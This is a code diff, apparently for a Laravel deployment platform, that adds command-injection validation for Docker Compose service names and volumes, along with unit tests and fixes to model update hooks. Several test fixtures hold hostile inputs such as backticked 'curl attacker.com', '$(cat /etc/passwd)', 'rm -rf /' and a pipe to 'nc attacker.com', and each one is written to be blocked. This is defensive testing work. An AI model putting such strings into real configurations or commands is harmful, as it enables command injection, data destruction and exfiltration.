diff --git a/app/Http/Controllers/Api/ServicesController.php b/app/Http/Controllers/Api/ServicesController.php index 737724d22..b3565a933 100644 --- a/app/Http/Controllers/Api/ServicesController.php +++ b/app/Http/Controllers/Api/ServicesController.php @@ -328,9 +328,23 @@ public function create_service(Request $request) }); } if ($oneClickService) { - $service_payload = [ + $dockerComposeRaw = base64_decode($oneClickService); + + // Validate for command injection BEFORE creating service + try { + validateDockerComposeForInjection($dockerComposeRaw); + } catch (\Exception $e) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => [ + 'docker_compose_raw' => $e->getMessage(), + ], + ], 422); + } + + $servicePayload = [ 'name' => "$oneClickServiceName-".str()->random(10), - 'docker_compose_raw' => base64_decode($oneClickService), + 'docker_compose_raw' => $dockerComposeRaw, 'environment_id' => $environment->id, 'service_type' => $oneClickServiceName, 'server_id' => $server->id, @@ -338,9 +352,9 @@ public function create_service(Request $request) 'destination_type' => $destination->getMorphClass(), ]; if ($oneClickServiceName === 'cloudflared') { - data_set($service_payload, 'connect_to_docker_network', true); + data_set($servicePayload, 'connect_to_docker_network', true); } - $service = Service::create($service_payload); + $service = Service::create($servicePayload); $service->name = "$oneClickServiceName-".$service->uuid; $service->save(); if ($oneClickDotEnvs?->count() > 0) { @@ -462,6 +476,18 @@ public function create_service(Request $request) $dockerCompose = base64_decode($request->docker_compose_raw); $dockerComposeRaw = Yaml::dump(Yaml::parse($dockerCompose), 10, 2, Yaml::DUMP_MULTI_LINE_LITERAL_BLOCK); + // Validate for command injection BEFORE saving to database + try { + validateDockerComposeForInjection($dockerComposeRaw); + } catch (\Exception $e) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => [ + 'docker_compose_raw' => $e->getMessage(), + ], + ], 422); + } + $connectToDockerNetwork = $request->connect_to_docker_network ?? false; $instantDeploy = $request->instant_deploy ?? false; @@ -777,6 +803,19 @@ public function update_by_uuid(Request $request) } $dockerCompose = base64_decode($request->docker_compose_raw); $dockerComposeRaw = Yaml::dump(Yaml::parse($dockerCompose), 10, 2, Yaml::DUMP_MULTI_LINE_LITERAL_BLOCK); + + // Validate for command injection BEFORE saving to database + try { + validateDockerComposeForInjection($dockerComposeRaw); + } catch (\Exception $e) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => [ + 'docker_compose_raw' => $e->getMessage(), + ], + ], 422); + } + $service->docker_compose_raw = $dockerComposeRaw; } diff --git a/app/Livewire/Project/New/DockerCompose.php b/app/Livewire/Project/New/DockerCompose.php index 5cda1dedd..a88a62d88 100644 --- a/app/Livewire/Project/New/DockerCompose.php +++ b/app/Livewire/Project/New/DockerCompose.php @@ -37,6 +37,10 @@ public function submit() 'dockerComposeRaw' => 'required', ]); $this->dockerComposeRaw = Yaml::dump(Yaml::parse($this->dockerComposeRaw), 10, 2, Yaml::DUMP_MULTI_LINE_LITERAL_BLOCK); + + // Validate for command injection BEFORE saving to database + validateDockerComposeForInjection($this->dockerComposeRaw); + $project = Project::where('uuid', $this->parameters['project_uuid'])->first(); $environment = $project->load(['environments'])->environments->where('uuid', $this->parameters['environment_uuid'])->first(); diff --git a/app/Livewire/Project/Service/StackForm.php b/app/Livewire/Project/Service/StackForm.php index 1961a7985..a0d2699ba 100644 --- a/app/Livewire/Project/Service/StackForm.php +++ b/app/Livewire/Project/Service/StackForm.php @@ -101,6 +101,10 @@ public function submit($notify = true) { try { $this->validate(); + + // Validate for command injection BEFORE saving to database + validateDockerComposeForInjection($this->service->docker_compose_raw); + $this->service->save(); $this->service->saveExtraFields($this->fields); $this->service->parse(); diff --git a/app/Models/Application.php b/app/Models/Application.php index 28ea17db2..9554d71a7 100644 --- a/app/Models/Application.php +++ b/app/Models/Application.php @@ -1109,7 +1109,7 @@ public function generateGitLsRemoteCommands(string $deployment_uuid, bool $exec_ // When used with executeInDocker (which uses bash -c '...'), we need to escape for bash context // Replace ' with '\'' to safely escape within single-quoted bash strings $escapedCustomRepository = str_replace("'", "'\\''", $customRepository); - $base_comamnd = "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" {$base_command} '{$escapedCustomRepository}'"; + $base_command = "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" {$base_command} '{$escapedCustomRepository}'"; if ($exec_in_docker) { $commands = collect([ @@ -1126,9 +1126,9 @@ public function generateGitLsRemoteCommands(string $deployment_uuid, bool $exec_ } if ($exec_in_docker) { - $commands->push(executeInDocker($deployment_uuid, $base_comamnd)); + $commands->push(executeInDocker($deployment_uuid, $base_command)); } else { - $commands->push($base_comamnd); + $commands->push($base_command); } return [ diff --git a/app/Models/ServerSetting.php b/app/Models/ServerSetting.php index 3abd55e9c..6da4dd4c6 100644 --- a/app/Models/ServerSetting.php +++ b/app/Models/ServerSetting.php @@ -79,11 +79,11 @@ protected static function booted() }); static::updated(function ($settings) { if ( - $settings->isDirty('sentinel_token') || - $settings->isDirty('sentinel_custom_url') || - $settings->isDirty('sentinel_metrics_refresh_rate_seconds') || - $settings->isDirty('sentinel_metrics_history_days') || - $settings->isDirty('sentinel_push_interval_seconds') + $settings->wasChanged('sentinel_token') || + $settings->wasChanged('sentinel_custom_url') || + $settings->wasChanged('sentinel_metrics_refresh_rate_seconds') || + $settings->wasChanged('sentinel_metrics_history_days') || + $settings->wasChanged('sentinel_push_interval_seconds') ) { $settings->server->restartSentinel(); } diff --git a/app/Traits/DeletesUserSessions.php b/app/Traits/DeletesUserSessions.php index a4d3a7cfd..e9ec0d946 100644 --- a/app/Traits/DeletesUserSessions.php +++ b/app/Traits/DeletesUserSessions.php @@ -26,7 +26,7 @@ protected static function bootDeletesUserSessions() { static::updated(function ($user) { // Check if password was changed - if ($user->isDirty('password')) { + if ($user->wasChanged('password')) { $user->deleteAllSessions(); } }); diff --git a/bootstrap/helpers/parsers.php b/bootstrap/helpers/parsers.php index 09d4c7549..f2260f0c6 100644 --- a/bootstrap/helpers/parsers.php +++ b/bootstrap/helpers/parsers.php @@ -16,6 +16,101 @@ use Symfony\Component\Yaml\Yaml; use Visus\Cuid2\Cuid2; +/** + * Validates a Docker Compose YAML string for command injection vulnerabilities. + * This should be called BEFORE saving to database to prevent malicious data from being stored. + * + * @param string $composeYaml The raw Docker Compose YAML content + * + * @throws \Exception If the compose file contains command injection attempts + */ +function validateDockerComposeForInjection(string $composeYaml): void +{ + try { + $parsed = Yaml::parse($composeYaml); + } catch (\Exception $e) { + throw new \Exception('Invalid YAML format: '.$e->getMessage(), 0, $e); + } + + if (! is_array($parsed) || ! isset($parsed['services']) || ! is_array($parsed['services'])) { + throw new \Exception('Docker Compose file must contain a "services" section'); + } + // Validate service names + foreach ($parsed['services'] as $serviceName => $serviceConfig) { + try { + validateShellSafePath($serviceName, 'service name'); + } catch (\Exception $e) { + throw new \Exception( + 'Invalid Docker Compose service name: '.$e->getMessage(). + ' Service names must not contain shell metacharacters.', + 0, + $e + ); + } + + // Validate volumes in this service (both string and array formats) + if (isset($serviceConfig['volumes']) && is_array($serviceConfig['volumes'])) { + foreach ($serviceConfig['volumes'] as $volume) { + if (is_string($volume)) { + // String format: "source:target" or "source:target:mode" + validateVolumeStringForInjection($volume); + } elseif (is_array($volume)) { + // Array format: {type: bind, source: ..., target: ...} + if (isset($volume['source'])) { + $source = $volume['source']; + if (is_string($source)) { + // Allow simple env vars and env vars with defaults (validated in parseDockerVolumeString) + $isSimpleEnvVar = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/', $source); + $isEnvVarWithDefault = preg_match('/^\$\{[^}]+:-[^}]*\}$/', $source); + + if (! $isSimpleEnvVar && ! $isEnvVarWithDefault) { + try { + validateShellSafePath($source, 'volume source'); + } catch (\Exception $e) { + throw new \Exception( + 'Invalid Docker volume definition (array syntax): '.$e->getMessage(). + ' Please use safe path names without shell metacharacters.', + 0, + $e + ); + } + } + } + } + if (isset($volume['target'])) { + $target = $volume['target']; + if (is_string($target)) { + try { + validateShellSafePath($target, 'volume target'); + } catch (\Exception $e) { + throw new \Exception( + 'Invalid Docker volume definition (array syntax): '.$e->getMessage(). + ' Please use safe path names without shell metacharacters.', + 0, + $e + ); + } + } + } + } + } + } + } +} + +/** + * Validates a Docker volume string (format: "source:target" or "source:target:mode") + * + * @param string $volumeString The volume string to validate + * + * @throws \Exception If the volume string contains command injection attempts + */ +function validateVolumeStringForInjection(string $volumeString): void +{ + // Canonical parsing also validates and throws on unsafe input + parseDockerVolumeString($volumeString); +} + function parseDockerVolumeString(string $volumeString): array { $volumeString = trim($volumeString); @@ -212,6 +307,46 @@ function parseDockerVolumeString(string $volumeString): array // Otherwise keep the variable as-is for later expansion (no default value) } + // Validate source path for command injection attempts + // We validate the final source value after environment variable processing + if ($source !== null) { + // Allow simple environment variables like ${VAR_NAME} or ${VAR} + // but validate everything else for shell metacharacters + $sourceStr = is_string($source) ? $source : $source; + + // Skip validation for simple environment variable references + // Pattern: ${WORD_CHARS} with no special characters inside + $isSimpleEnvVar = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/', $sourceStr); + + if (! $isSimpleEnvVar) { + try { + validateShellSafePath($sourceStr, 'volume source'); + } catch (\Exception $e) { + // Re-throw with more context about the volume string + throw new \Exception( + 'Invalid Docker volume definition: '.$e->getMessage(). + ' Please use safe path names without shell metacharacters.' + ); + } + } + } + + // Also validate target path + if ($target !== null) { + $targetStr = is_string($target) ? $target : $target; + // Target paths in containers are typically absolute paths, so we validate them too + // but they're less likely to be dangerous since they're not used in host commands + // Still, defense in depth is important + try { + validateShellSafePath($targetStr, 'volume target'); + } catch (\Exception $e) { + throw new \Exception( + 'Invalid Docker volume definition: '.$e->getMessage(). + ' Please use safe path names without shell metacharacters.' + ); + } + } + return [ 'source' => $source !== null ? str($source) : null, 'target' => $target !== null ? str($target) : null, @@ -265,6 +400,16 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int $allMagicEnvironments = collect([]); foreach ($services as $serviceName => $service) { + // Validate service name for command injection + try { + validateShellSafePath($serviceName, 'service name'); + } catch (\Exception $e) { + throw new \Exception( + 'Invalid Docker Compose service name: '.$e->getMessage(). + ' Service names must not contain shell metacharacters.' + ); + } + $magicEnvironments = collect([]); $image = data_get_str($service, 'image'); $environment = collect(data_get($service, 'environment', [])); @@ -561,6 +706,33 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int $content = data_get($volume, 'content'); $isDirectory = (bool) data_get($volume, 'isDirectory', null) || (bool) data_get($volume, 'is_directory', null); + // Validate source and target for command injection (array/long syntax) + if ($source !== null && ! empty($source->value())) { + $sourceValue = $source->value(); + // Allow simple environment variable references + $isSimpleEnvVar = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/', $sourceValue); + if (! $isSimpleEnvVar) { + try { + validateShellSafePath($sourceValue, 'volume source'); + } catch (\Exception $e) { + throw new \Exception( + 'Invalid Docker volume definition (array syntax): '.$e->getMessage(). + ' Please use safe path names without shell metacharacters.' + ); + } + } + } + if ($target !== null && ! empty($target->value())) { + try { + validateShellSafePath($target->value(), 'volume target'); + } catch (\Exception $e) { + throw new \Exception( + 'Invalid Docker volume definition (array syntax): '.$e->getMessage(). + ' Please use safe path names without shell metacharacters.' + ); + } + } + $foundConfig = $fileStorages->whereMountPath($target)->first(); if ($foundConfig) { $contentNotNull_temp = data_get($foundConfig, 'content'); @@ -1178,6 +1350,16 @@ function serviceParser(Service $resource): Collection $allMagicEnvironments = collect([]); // Presave services foreach ($services as $serviceName => $service) { + // Validate service name for command injection + try { + validateShellSafePath($serviceName, 'service name'); + } catch (\Exception $e) { + throw new \Exception( + 'Invalid Docker Compose service name: '.$e->getMessage(). + ' Service names must not contain shell metacharacters.' + ); + } + $image = data_get_str($service, 'image'); $isDatabase = isDatabaseImage($image, $service); if ($isDatabase) { @@ -1575,6 +1757,33 @@ function serviceParser(Service $resource): Collection $content = data_get($volume, 'content'); $isDirectory = (bool) data_get($volume, 'isDirectory', null) || (bool) data_get($volume, 'is_directory', null); + // Validate source and target for command injection (array/long syntax) + if ($source !== null && ! empty($source->value())) { + $sourceValue = $source->value(); + // Allow simple environment variable references + $isSimpleEnvVar = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/', $sourceValue); + if (! $isSimpleEnvVar) { + try { + validateShellSafePath($sourceValue, 'volume source'); + } catch (\Exception $e) { + throw new \Exception( + 'Invalid Docker volume definition (array syntax): '.$e->getMessage(). + ' Please use safe path names without shell metacharacters.' + ); + } + } + } + if ($target !== null && ! empty($target->value())) { + try { + validateShellSafePath($target->value(), 'volume target'); + } catch (\Exception $e) { + throw new \Exception( + 'Invalid Docker volume definition (array syntax): '.$e->getMessage(). + ' Please use safe path names without shell metacharacters.' + ); + } + } + $foundConfig = $fileStorages->whereMountPath($target)->first(); if ($foundConfig) { $contentNotNull_temp = data_get($foundConfig, 'content'); diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php index 35ee54fcf..0f5b6f553 100644 --- a/bootstrap/helpers/shared.php +++ b/bootstrap/helpers/shared.php @@ -104,6 +104,48 @@ function sanitize_string(?string $input = null): ?string return $sanitized; } +/** + * Validate that a path or identifier is safe for use in shell commands. + * + * This function prevents command injection by rejecting strings that contain + * shell metacharacters or command substitution patterns. + * + * @param string $input The path or identifier to validate + * @param string $context Descriptive name for error messages (e.g., 'volume source', 'service name') + * @return string The validated input (unchanged if valid) + * + * @throws \Exception If dangerous characters are detected + */ +function validateShellSafePath(string $input, string $context = 'path'): string +{ + // List of dangerous shell metacharacters that enable command injection + $dangerousChars = [ + '`' => 'backtick (command substitution)', + '$(' => 'command substitution', + '${' => 'variable substitution with potential command injection', + '|' => 'pipe operator', + '&' => 'background/AND operator', + ';' => 'command separator', + "\n" => 'newline (command separator)', + "\r" => 'carriage return', + "\t" => 'tab (token separator)', + '>' => 'output redirection', + '<' => 'input redirection', + ]; + + // Check for dangerous characters + foreach ($dangerousChars as $char => $description) { + if (str_contains($input, $char)) { + throw new \Exception( + "Invalid {$context}: contains forbidden character '{$char}' ({$description}). ". + 'Shell metacharacters are not allowed for security reasons.' + ); + } + } + + return $input; +} + function generate_readme_file(string $name, string $updated_at): string { $name = sanitize_string($name); diff --git a/tests/Feature/DeletesUserSessionsTest.php b/tests/Feature/DeletesUserSessionsTest.php new file mode 100644 index 000000000..a2bde2eb2 --- /dev/null +++ b/tests/Feature/DeletesUserSessionsTest.php @@ -0,0 +1,136 @@ +create([ + 'password' => Hash::make('old-password'), + ]); + + // Create fake session records for the user + DB::table('sessions')->insert([ + [ + 'id' => 'session-1', + 'user_id' => $user->id, + 'ip_address' => '127.0.0.1', + 'user_agent' => 'Test Browser', + 'payload' => base64_encode('test-payload-1'), + 'last_activity' => now()->timestamp, + ], + [ + 'id' => 'session-2', + 'user_id' => $user->id, + 'ip_address' => '127.0.0.1', + 'user_agent' => 'Test Browser', + 'payload' => base64_encode('test-payload-2'), + 'last_activity' => now()->timestamp, + ], + ]); + + // Verify sessions exist + expect(DB::table('sessions')->where('user_id', $user->id)->count())->toBe(2); + + // Change password + $user->password = Hash::make('new-password'); + $user->save(); + + // Verify all sessions for this user were deleted + expect(DB::table('sessions')->where('user_id', $user->id)->count())->toBe(0); +}); + +it('does not invalidate sessions when password is unchanged', function () { + // Create a user + $user = User::factory()->create([ + 'password' => Hash::make('password'), + ]); + + // Create fake session records for the user + DB::table('sessions')->insert([ + [ + 'id' => 'session-1', + 'user_id' => $user->id, + 'ip_address' => '127.0.0.1', + 'user_agent' => 'Test Browser', + 'payload' => base64_encode('test-payload'), + 'last_activity' => now()->timestamp, + ], + ]); + + // Update other user fields (not password) + $user->name = 'New Name'; + $user->save(); + + // Verify session still exists + expect(DB::table('sessions')->where('user_id', $user->id)->count())->toBe(1); +}); + +it('does not invalidate sessions when password is set to same value', function () { + // Create a user with a specific password + $hashedPassword = Hash::make('password'); + $user = User::factory()->create([ + 'password' => $hashedPassword, + ]); + + // Create fake session records for the user + DB::table('sessions')->insert([ + [ + 'id' => 'session-1', + 'user_id' => $user->id, + 'ip_address' => '127.0.0.1', + 'user_agent' => 'Test Browser', + 'payload' => base64_encode('test-payload'), + 'last_activity' => now()->timestamp, + ], + ]); + + // Set password to the same value + $user->password = $hashedPassword; + $user->save(); + + // Verify session still exists (password didn't actually change) + expect(DB::table('sessions')->where('user_id', $user->id)->count())->toBe(1); +}); + +it('invalidates sessions only for the user whose password changed', function () { + // Create two users + $user1 = User::factory()->create([ + 'password' => Hash::make('password1'), + ]); + $user2 = User::factory()->create([ + 'password' => Hash::make('password2'), + ]); + + // Create sessions for both users + DB::table('sessions')->insert([ + [ + 'id' => 'session-user1', + 'user_id' => $user1->id, + 'ip_address' => '127.0.0.1', + 'user_agent' => 'Test Browser', + 'payload' => base64_encode('test-payload-1'), + 'last_activity' => now()->timestamp, + ], + [ + 'id' => 'session-user2', + 'user_id' => $user2->id, + 'ip_address' => '127.0.0.1', + 'user_agent' => 'Test Browser', + 'payload' => base64_encode('test-payload-2'), + 'last_activity' => now()->timestamp, + ], + ]); + + // Change password for user1 only + $user1->password = Hash::make('new-password1'); + $user1->save(); + + // Verify user1's sessions were deleted but user2's remain + expect(DB::table('sessions')->where('user_id', $user1->id)->count())->toBe(0); + expect(DB::table('sessions')->where('user_id', $user2->id)->count())->toBe(1); +}); diff --git a/tests/Feature/InstanceSettingsHelperVersionTest.php b/tests/Feature/InstanceSettingsHelperVersionTest.php new file mode 100644 index 000000000..e731fa8b4 --- /dev/null +++ b/tests/Feature/InstanceSettingsHelperVersionTest.php @@ -0,0 +1,81 @@ +create(); + $team = $user->teams()->first(); + Server::factory()->count(3)->create(['team_id' => $team->id]); + + $settings = InstanceSettings::firstOrCreate([], ['helper_version' => 'v1.0.0']); + + // Change helper_version + $settings->helper_version = 'v1.2.3'; + $settings->save(); + + // Verify PullHelperImageJob was dispatched for all servers + Queue::assertPushed(PullHelperImageJob::class, 3); +}); + +it('does not dispatch PullHelperImageJob when helper_version is unchanged', function () { + Queue::fake(); + + // Create user and servers + $user = User::factory()->create(); + $team = $user->teams()->first(); + Server::factory()->count(3)->create(['team_id' => $team->id]); + + $settings = InstanceSettings::firstOrCreate([], ['helper_version' => 'v1.0.0']); + $currentVersion = $settings->helper_version; + + // Set to same value + $settings->helper_version = $currentVersion; + $settings->save(); + + // Verify no jobs were dispatched + Queue::assertNotPushed(PullHelperImageJob::class); +}); + +it('does not dispatch PullHelperImageJob when other fields change', function () { + Queue::fake(); + + // Create user and servers + $user = User::factory()->create(); + $team = $user->teams()->first(); + Server::factory()->count(3)->create(['team_id' => $team->id]); + + $settings = InstanceSettings::firstOrCreate([], ['helper_version' => 'v1.0.0']); + + // Change different field + $settings->is_auto_update_enabled = ! $settings->is_auto_update_enabled; + $settings->save(); + + // Verify no jobs were dispatched + Queue::assertNotPushed(PullHelperImageJob::class); +}); + +it('detects helper_version changes with wasChanged', function () { + $changeDetected = false; + + InstanceSettings::updated(function ($settings) use (&$changeDetected) { + if ($settings->wasChanged('helper_version')) { + $changeDetected = true; + } + }); + + $settings = InstanceSettings::firstOrCreate([], ['helper_version' => 'v1.0.0']); + $settings->helper_version = 'v2.0.0'; + $settings->save(); + + expect($changeDetected)->toBeTrue(); +}); diff --git a/tests/Feature/ServerSettingSentinelRestartTest.php b/tests/Feature/ServerSettingSentinelRestartTest.php new file mode 100644 index 000000000..7a1c333ca --- /dev/null +++ b/tests/Feature/ServerSettingSentinelRestartTest.php @@ -0,0 +1,139 @@ +create(); + $this->team = $user->teams()->first(); + + // Create server with the team + $this->server = Server::factory()->create([ + 'team_id' => $this->team->id, + ]); +}); + +it('detects sentinel_token changes with wasChanged', function () { + $changeDetected = false; + + // Register a test listener that will be called after the model's booted listeners + ServerSetting::updated(function ($settings) use (&$changeDetected) { + if ($settings->wasChanged('sentinel_token')) { + $changeDetected = true; + } + }); + + $settings = $this->server->settings; + $settings->sentinel_token = 'new-token-value'; + $settings->save(); + + expect($changeDetected)->toBeTrue(); +}); + +it('detects sentinel_custom_url changes with wasChanged', function () { + $changeDetected = false; + + ServerSetting::updated(function ($settings) use (&$changeDetected) { + if ($settings->wasChanged('sentinel_custom_url')) { + $changeDetected = true; + } + }); + + $settings = $this->server->settings; + $settings->sentinel_custom_url = 'https://new-url.com'; + $settings->save(); + + expect($changeDetected)->toBeTrue(); +}); + +it('detects sentinel_metrics_refresh_rate_seconds changes with wasChanged', function () { + $changeDetected = false; + + ServerSetting::updated(function ($settings) use (&$changeDetected) { + if ($settings->wasChanged('sentinel_metrics_refresh_rate_seconds')) { + $changeDetected = true; + } + }); + + $settings = $this->server->settings; + $settings->sentinel_metrics_refresh_rate_seconds = 60; + $settings->save(); + + expect($changeDetected)->toBeTrue(); +}); + +it('detects sentinel_metrics_history_days changes with wasChanged', function () { + $changeDetected = false; + + ServerSetting::updated(function ($settings) use (&$changeDetected) { + if ($settings->wasChanged('sentinel_metrics_history_days')) { + $changeDetected = true; + } + }); + + $settings = $this->server->settings; + $settings->sentinel_metrics_history_days = 14; + $settings->save(); + + expect($changeDetected)->toBeTrue(); +}); + +it('detects sentinel_push_interval_seconds changes with wasChanged', function () { + $changeDetected = false; + + ServerSetting::updated(function ($settings) use (&$changeDetected) { + if ($settings->wasChanged('sentinel_push_interval_seconds')) { + $changeDetected = true; + } + }); + + $settings = $this->server->settings; + $settings->sentinel_push_interval_seconds = 30; + $settings->save(); + + expect($changeDetected)->toBeTrue(); +}); + +it('does not detect changes when unrelated field is changed', function () { + $changeDetected = false; + + ServerSetting::updated(function ($settings) use (&$changeDetected) { + if ( + $settings->wasChanged('sentinel_token') || + $settings->wasChanged('sentinel_custom_url') || + $settings->wasChanged('sentinel_metrics_refresh_rate_seconds') || + $settings->wasChanged('sentinel_metrics_history_days') || + $settings->wasChanged('sentinel_push_interval_seconds') + ) { + $changeDetected = true; + } + }); + + $settings = $this->server->settings; + $settings->is_reachable = ! $settings->is_reachable; + $settings->save(); + + expect($changeDetected)->toBeFalse(); +}); + +it('does not detect changes when sentinel field is set to same value', function () { + $changeDetected = false; + + ServerSetting::updated(function ($settings) use (&$changeDetected) { + if ($settings->wasChanged('sentinel_token')) { + $changeDetected = true; + } + }); + + $settings = $this->server->settings; + $currentToken = $settings->sentinel_token; + $settings->sentinel_token = $currentToken; + $settings->save(); + + expect($changeDetected)->toBeFalse(); +}); diff --git a/tests/Feature/ServerSettingWasChangedTest.php b/tests/Feature/ServerSettingWasChangedTest.php new file mode 100644 index 000000000..ea7987a4b --- /dev/null +++ b/tests/Feature/ServerSettingWasChangedTest.php @@ -0,0 +1,64 @@ +create(); + $team = $user->teams()->first(); + $server = Server::factory()->create(['team_id' => $team->id]); + + $settings = $server->settings; + + // Change a field + $settings->is_reachable = ! $settings->is_reachable; + $settings->save(); + + // In the updated hook, wasChanged should return true + expect($settings->wasChanged('is_reachable'))->toBeTrue(); +}); + +it('isDirty returns false after saving', function () { + // Create user and server + $user = User::factory()->create(); + $team = $user->teams()->first(); + $server = Server::factory()->create(['team_id' => $team->id]); + + $settings = $server->settings; + + // Change a field + $settings->is_reachable = ! $settings->is_reachable; + $settings->save(); + + // After save, isDirty returns false (this is the bug) + expect($settings->isDirty('is_reachable'))->toBeFalse(); +}); + +it('can detect sentinel_token changes with wasChanged', function () { + // Create user and server + $user = User::factory()->create(); + $team = $user->teams()->first(); + $server = Server::factory()->create(['team_id' => $team->id]); + + $settings = $server->settings; + $originalToken = $settings->sentinel_token; + + // Create a tracking variable using model events + $tokenWasChanged = false; + ServerSetting::updated(function ($model) use (&$tokenWasChanged) { + if ($model->wasChanged('sentinel_token')) { + $tokenWasChanged = true; + } + }); + + // Change the token + $settings->sentinel_token = 'new-token-value-for-testing'; + $settings->save(); + + expect($tokenWasChanged)->toBeTrue(); +}); diff --git a/tests/Unit/PreSaveValidationTest.php b/tests/Unit/PreSaveValidationTest.php new file mode 100644 index 000000000..c24cf5f89 --- /dev/null +++ b/tests/Unit/PreSaveValidationTest.php @@ -0,0 +1,200 @@ + validateDockerComposeForInjection($maliciousCompose)) + ->toThrow(Exception::class, 'Invalid Docker Compose service name'); +}); + +test('validateDockerComposeForInjection blocks malicious volume paths in string format', function () { + $maliciousCompose = <<<'YAML' +services: + web: + image: nginx:latest + volumes: + - '/tmp/pwn`curl attacker.com`:/app' +YAML; + + expect(fn () => validateDockerComposeForInjection($maliciousCompose)) + ->toThrow(Exception::class, 'Invalid Docker volume definition'); +}); + +test('validateDockerComposeForInjection blocks malicious volume paths in array format', function () { + $maliciousCompose = <<<'YAML' +services: + web: + image: nginx:latest + volumes: + - type: bind + source: '/tmp/pwn`curl attacker.com`' + target: /app +YAML; + + expect(fn () => validateDockerComposeForInjection($maliciousCompose)) + ->toThrow(Exception::class, 'Invalid Docker volume definition'); +}); + +test('validateDockerComposeForInjection blocks command substitution in volumes', function () { + $maliciousCompose = <<<'YAML' +services: + web: + image: nginx:latest + volumes: + - '$(cat /etc/passwd):/app' +YAML; + + expect(fn () => validateDockerComposeForInjection($maliciousCompose)) + ->toThrow(Exception::class, 'Invalid Docker volume definition'); +}); + +test('validateDockerComposeForInjection blocks pipes in service names', function () { + $maliciousCompose = <<<'YAML' +services: + web|cat /etc/passwd: + image: nginx:latest +YAML; + + expect(fn () => validateDockerComposeForInjection($maliciousCompose)) + ->toThrow(Exception::class, 'Invalid Docker Compose service name'); +}); + +test('validateDockerComposeForInjection blocks semicolons in volumes', function () { + $maliciousCompose = <<<'YAML' +services: + web: + image: nginx:latest + volumes: + - '/tmp/test; rm -rf /:/app' +YAML; + + expect(fn () => validateDockerComposeForInjection($maliciousCompose)) + ->toThrow(Exception::class, 'Invalid Docker volume definition'); +}); + +test('validateDockerComposeForInjection allows legitimate compose files', function () { + $validCompose = <<<'YAML' +services: + web: + image: nginx:latest + volumes: + - /var/www/html:/usr/share/nginx/html + - app-data:/data + db: + image: postgres:15 + volumes: + - db-data:/var/lib/postgresql/data +volumes: + app-data: + db-data: +YAML; + + expect(fn () => validateDockerComposeForInjection($validCompose)) + ->not->toThrow(Exception::class); +}); + +test('validateDockerComposeForInjection allows environment variables in volumes', function () { + $validCompose = <<<'YAML' +services: + web: + image: nginx:latest + volumes: + - '${DATA_PATH}:/app' +YAML; + + expect(fn () => validateDockerComposeForInjection($validCompose)) + ->not->toThrow(Exception::class); +}); + +test('validateDockerComposeForInjection blocks malicious env var defaults', function () { + $maliciousCompose = <<<'YAML' +services: + web: + image: nginx:latest + volumes: + - '${DATA:-$(cat /etc/passwd)}:/app' +YAML; + + expect(fn () => validateDockerComposeForInjection($maliciousCompose)) + ->toThrow(Exception::class, 'Invalid Docker volume definition'); +}); + +test('validateDockerComposeForInjection requires services section', function () { + $invalidCompose = <<<'YAML' +version: '3' +networks: + mynet: +YAML; + + expect(fn () => validateDockerComposeForInjection($invalidCompose)) + ->toThrow(Exception::class, 'Docker Compose file must contain a "services" section'); +}); + +test('validateDockerComposeForInjection handles empty volumes array', function () { + $validCompose = <<<'YAML' +services: + web: + image: nginx:latest + volumes: [] +YAML; + + expect(fn () => validateDockerComposeForInjection($validCompose)) + ->not->toThrow(Exception::class); +}); + +test('validateDockerComposeForInjection blocks newlines in volume paths', function () { + $maliciousCompose = "services:\n web:\n image: nginx:latest\n volumes:\n - \"/tmp/test\ncurl attacker.com:/app\""; + + // YAML parser will reject this before our validation (which is good!) + expect(fn () => validateDockerComposeForInjection($maliciousCompose)) + ->toThrow(Exception::class); +}); + +test('validateDockerComposeForInjection blocks redirections in volumes', function () { + $maliciousCompose = <<<'YAML' +services: + web: + image: nginx:latest + volumes: + - '/tmp/test > /etc/passwd:/app' +YAML; + + expect(fn () => validateDockerComposeForInjection($maliciousCompose)) + ->toThrow(Exception::class, 'Invalid Docker volume definition'); +}); + +test('validateDockerComposeForInjection validates volume targets', function () { + $maliciousCompose = <<<'YAML' +services: + web: + image: nginx:latest + volumes: + - '/tmp/safe:/app`curl attacker.com`' +YAML; + + expect(fn () => validateDockerComposeForInjection($maliciousCompose)) + ->toThrow(Exception::class, 'Invalid Docker volume definition'); +}); + +test('validateDockerComposeForInjection handles multiple services', function () { + $validCompose = <<<'YAML' +services: + web: + image: nginx:latest + volumes: + - /var/www:/usr/share/nginx/html + api: + image: node:18 + volumes: + - /app/src:/usr/src/app + db: + image: postgres:15 +YAML; + + expect(fn () => validateDockerComposeForInjection($validCompose)) + ->not->toThrow(Exception::class); +}); diff --git a/tests/Unit/ServiceNameSecurityTest.php b/tests/Unit/ServiceNameSecurityTest.php new file mode 100644 index 000000000..56fcc51f5 --- /dev/null +++ b/tests/Unit/ServiceNameSecurityTest.php @@ -0,0 +1,242 @@ + validateShellSafePath($serviceName, 'service name')) + ->toThrow(Exception::class, 'backtick'); +}); + +test('service names with command substitution are rejected', function () { + $maliciousCompose = <<<'YAML' +services: + 'evil$(cat /etc/passwd)': + image: alpine +YAML; + + $parsed = Yaml::parse($maliciousCompose); + $serviceName = array_key_first($parsed['services']); + + expect(fn () => validateShellSafePath($serviceName, 'service name')) + ->toThrow(Exception::class, 'command substitution'); +}); + +test('service names with pipe injection are rejected', function () { + $maliciousCompose = <<<'YAML' +services: + 'web | nc attacker.com 1234': + image: nginx +YAML; + + $parsed = Yaml::parse($maliciousCompose); + $serviceName = array_key_first($parsed['services']); + + expect(fn () => validateShellSafePath($serviceName, 'service name')) + ->toThrow(Exception::class, 'pipe'); +}); + 